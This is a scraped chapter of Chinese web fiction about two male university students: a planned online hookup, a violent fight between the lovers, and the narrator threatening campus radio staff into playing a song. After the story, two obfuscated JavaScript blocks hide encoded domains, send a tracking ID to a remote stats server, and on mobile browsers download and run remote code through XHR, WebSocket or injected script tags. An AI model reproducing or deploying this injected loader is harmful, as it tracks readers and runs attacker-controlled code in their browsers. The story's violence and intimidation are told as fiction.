“我保证很帅,我哥们都说我长得像王力宏。”

“真的假的?”对方不信,“五里飞虹长江西你可别骗我,你要真的长得像王力宏我今天还真非见见你不可。”“五里飞虹长江西”是我在上面说话的名字。

“我传照片给你。”我登陆搜狐,调出我上次扫描后存在E里的照片传给他看。

合肥三里庵看完照片立刻说好,问我见面的地点。我告诉他就在三里庵的城建医院门口等我。他又说好,我们一起下线。我抓起桌子上剩下的苹果就出去。向雷在后面骂:“妈的你真的敢去给我搞一夜情看我不打断你狗腿。”

我冷笑:“你是我什么人?小爷别说去搞一夜情就是出去卖也轮不着你管。”我把胳膊往外套里伸,他拽住我袖子,眼神凶狠。“我和个女人吃吃饭你就发飚,那你现在和个男人出去乱搞我怎么办?”

“我怎么知道。”我不耐烦从他手里拽衣袖,“大不了自己搞就是。DIY你不会啊?别说你这么大没自己做过。”

“妈的。”他把我压在地上,两耳光抽在我脸上,打的我眼前金星直冒,“老子花了你的脸看你还敢不敢出去发骚。”

我要回手打他,但是手被衣袖绕住一时挣不开来。脸上辣辣的疼。我开始冒火。“向雷你他妈给我放手!”

他的回答很简单,用舌头堵住我的嘴。

后面就是我们在大二暑假之前最常做的打架斗殴。我处于下风,一如往常。从15103爬出来的时候浑身骨头都疼,他下手还真够狠。脸上青青紫紫,不能出去见人。我在公寓区晃来晃去,时间慢慢就过去。十二月底了,今冬的雪花还没有半点滑落的迹象。风足够冷,吹在脸上阵阵的疼,小学时课本上总是形容这种感觉说象刀割一样痛苦。

“大学生公寓广播站,英语时间结束,在广告后是点歌时间。”后面接着的是一窜废话。“妈的。”我挑挑眉,刚才不小心咬到舌头。,我丝丝的吸着气。远远看见一个独立的小房间,挂着个牌子——广播站。我快步走过去,踢开门。里面的人吓到。

“点歌。”我杵在门口,堵住能熘出去的的唯一出口。

“现在是点歌时间,第一首歌是……”播音的女生声音颤抖,偷偷看我。我提着凳子往地上狠命一摔:“叫她快念。”站在隔间门口的男生吓的一哆嗦,对玻璃里面的女生比个快念的手势。

女生害怕的看着我,我对着她狞笑,我不懂得怜香惜玉的。她垂下眼睛,声音发抖。

抖什么抖,有什么好抖的,我又不是不付钱,缺了她点歌费。我用眼神和她交流片刻,不耐烦的大叫:“快点。”她又哆嗦一下。

“下面这首歌是工大02自动化的祈愿送给A大02应物的向雷的。张信哲的《过火》。祈愿说他再也找不到比这首歌更能表达他对向雷最真实的心声的了,如果向雷听到,希望他能够好好听着,仔细体会。”她战战兢兢看着我,开始播放歌曲。我做个满意的表情。掏出五元钱扔地上,对那小男一努嘴:“点歌费,拿去。”他连忙摆手,我一瞪眼:“你们当我是土匪怎么着?”他忙跑过来捡起地上的钱。我摔了另一只手的凳子,开门出去。

张信哲清亮的声音飘荡在公寓区的各个角落。

“……怎么忍心怪你犯了错,是我给你自由过了火……”

向雷向雷向雷,我是否也给你太多自由?我是否该拿绳子绑着你捆着你让你再也不敢离开我再也不敢说分开?从没有这样在意一个人,从没有这样害怕一个人在我面前消失,从没有现在这样的无力感,从没有现在这样的不舍,从没有这样……爱过。

我在公寓区转悠半天,又跑到农大的树林里看天空的颜色,到天黑透,再看不到别的颜色才从地上爬起来。肚子饿的咕咕叫,我在农大后门口吃了份炒饭,又干又冷又硬。堵在胃里全化作一股寒气猛然飚升,回去车棚推了车子出来一路骑到工大再骑回来累得一身汗情绪才平稳下来。

回到417时,大家都已经躺下了。秦沁一看见我就爬起来怪叫:“祈愿你今天真是出风头啊,保卫科的叫你明天过去一趟。”

我点点头,无精打采去洗手。

“你没事吧?”秦沁避开迟杭和柯桉跟着我到洗手间。看我洗完手出来在衣橱里找衣服。

“没事。保卫科叫我去做什么?”

“还不是播音室那小男把你告去了。是男人吗?一丁点事就找保卫科的替他们出头。”

“知道啦。我去洗澡,出了身汗臭死了。”

“那快点吧,公共浴室快关门了。”秦沁回床上躺着去。我走到门口他又叫我,“祈愿,你可别在公共浴室又来这一招。”

我啐他一口。笑着出去。一出门刚才撑出来的笑脸就垮掉。胃里面塞的炒饭像石头一样硬,胃都隐隐作痛。如果现在让我看见向雷,我非把他当胃药吃下去不可。我说真的。如果他不能做我的胃药还不如让他做我的毒药毒死我算了。

第二天上午有课,中午吃完饭懒懒睡了一觉才在秦沁的陪同下去保卫科解释昨天的“误会”。说好说坏陪尽了笑脸又听着他们打了一个多小时的官腔才被放出来。临了还加一句“如有再犯一定通知学校”的威胁。出来时外面已经是晚上的光景,其实才不过是下午时光,冬天就是黑的早。

昨天那个女生嗲嗲的调子在广播里扩散着。原来五点了。公寓区统一的播音时间。

秦沁说:“靠!大学生公寓这边是没人才了怎么着?天天就这么个货色在那叽歪,简直有损形象。”

秦沁陪着我回宿舍。到417门口,秦沁眼尖,推我看倚着门抽烟的人。我装着看不见,拉着秦沁走回头路。秦沁使劲推我一把:“有什么话说清楚。”把我推门里去。向雷跟着进去房里。秦沁在外面把门带上:“你们俩把该说的话都说清楚,要抽耳光要打架要杀人要放火都一次性解决了,别再闹什么事了。算我怕了你们了。”


上一篇:颠覆之鹿鼎记(01-02)

下一篇:废土西行录(02)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};